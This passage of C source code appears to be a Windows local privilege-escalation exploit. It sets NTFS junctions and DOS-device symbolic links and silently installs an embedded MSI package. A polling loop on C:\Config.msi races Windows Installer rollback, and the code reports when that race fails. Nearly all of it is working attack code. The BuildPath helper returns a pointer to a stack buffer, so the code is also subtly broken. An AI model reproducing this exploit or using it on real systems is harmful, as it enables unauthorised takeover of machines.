pNtOpenDirectoryObect == NULL || pNtSetInformationFile == NULL) { 157 | printf("Cannot load api's %d\n", GetLastError()); 158 | exit(0); 159 | } 160 | 161 | } 162 | BOOL CreateJunction(HANDLE hDir, LPCWSTR target) { 163 | HANDLE hJunction; 164 | DWORD cb; 165 | wchar_t printname[] = L""; 166 | if (hDir == INVALID_HANDLE_VALUE) { 167 | printf("[!] HANDLE invalid!\n"); 168 | return FALSE; 169 | } 170 | SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); 171 | SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); 172 | SIZE_T PathLen = TargetLen + PrintnameLen + 12; 173 | SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); 174 | PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); 175 | Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; 176 | Data->ReparseDataLength = PathLen; 177 | Data->Reserved = 0; 178 | Data->MountPointReparseBuffer.SubstituteNameOffset = 0; 179 | Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; 180 | memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); 181 | Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); 182 | Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; 183 | memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); 184 | WCHAR dir[MAX_PATH] = { 0x0 }; 185 | if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) 186 | { 187 | 188 | GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0); 189 | printf("[+] Junction %ls -> %ls created!\n", dir, target); 190 | free(Data); 191 | return TRUE; 192 | 193 | } 194 | else 195 | { 196 | 197 | printf("[!] Error: %d. Exiting\n", GetLastError()); 198 | free(Data); 199 | return FALSE; 200 | } 201 | } 202 | BOOL DeleteJunction(HANDLE handle) { 203 | REPARSE_GUID_DATA_BUFFER buffer = { 0 }; 204 | BOOL ret; 205 | buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; 206 | DWORD cb = 0; 207 | IO_STATUS_BLOCK io; 208 | if (handle == INVALID_HANDLE_VALUE) { 209 | printf("[!] HANDLE invalid!\n"); 210 | return FALSE; 211 | } 212 | WCHAR dir[MAX_PATH] = { 0x0 }; 213 | if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) { 214 | GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0); 215 | printf("[+] Junction %ls deleted!\n", dir); 216 | return TRUE; 217 | } 218 | else 219 | { 220 | printf("[!] Error: %d.\n", GetLastError()); 221 | return FALSE; 222 | } 223 | } 224 | 225 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { 226 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { 227 | printf("[+] Symlink %ls -> %ls created!\n", object, target); 228 | return TRUE; 229 | 230 | } 231 | else 232 | { 233 | printf("error :%d\n", GetLastError()); 234 | return FALSE; 235 | 236 | } 237 | } 238 | 239 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { 240 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { 241 | printf("[+] Symlink %ls -> %ls deleted!\n", object, target); 242 | return TRUE; 243 | 244 | } 245 | else 246 | { 247 | printf("error :%d\n", GetLastError()); 248 | return FALSE; 249 | 250 | 251 | } 252 | } 253 | HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) { 254 | UNICODE_STRING ufile; 255 | HANDLE hDir; 256 | pRtlInitUnicodeString(&ufile, file); 257 | OBJECT_ATTRIBUTES oa = { 0 }; 258 | IO_STATUS_BLOCK io = { 0 }; 259 | InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); 260 | 261 | retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL); 262 | 263 | if (!NT_SUCCESS(retcode)) { 264 | return NULL; 265 | } 266 | return hDir; 267 | } 268 | void cb1() { 269 | 270 | SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS); 271 | Move(hFile); 272 | 273 | //loop until the directory found 274 | CreateThread(NULL, NULL, install, NULL, NULL, NULL); 275 | HANDLE hd; 276 | do { 277 | hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); 278 | } while (!hd); 279 | do { 280 | CloseHandle(hd); 281 | hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); 282 | } while (hd); 283 | CloseHandle(hd); 284 | do { 285 | hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); 286 | 287 | CloseHandle(hd); 288 | } while (retcode != 0xC0000022); 289 | 290 | } 291 | DWORD WINAPI install(void*) { 292 | HMODULE hm = GetModuleHandle(NULL); 293 | HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi"); 294 | wchar_t msipackage[MAX_PATH] = { 0x0 }; 295 | GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage); 296 | printf("[*] MSI file: %ls\n", msipackage); 297 | DWORD MsiSize = SizeofResource(hm, res); 298 | void* MsiBuff = LoadResource(hm, res); 299 | HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 300 | WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL); 301 | CloseHandle(pkg); 302 | MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); 303 | UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL"); 304 | MsiInstallProduct(msipackage, L"REMOVE=ALL"); 305 | DeleteFile(msipackage); 306 | return 0; 307 | } 308 | VOID Fail() { 309 | Sleep(5000); 310 | printf("[!] Race condtion failed!\n"); 311 | DeleteJunction(hDir); 312 | DelDosDeviceSymLink(object, BuildPath(target)); 313 | exit(1); 314 | } 315 | LPWSTR BuildPath(LPCWSTR path) { 316 | wchar_t ntpath[MAX_PATH]; 317 | swprintf(ntpath, L"\\??\\%s", path); 318 | return ntpath; 319 | } --------------------------------------------------------------------------------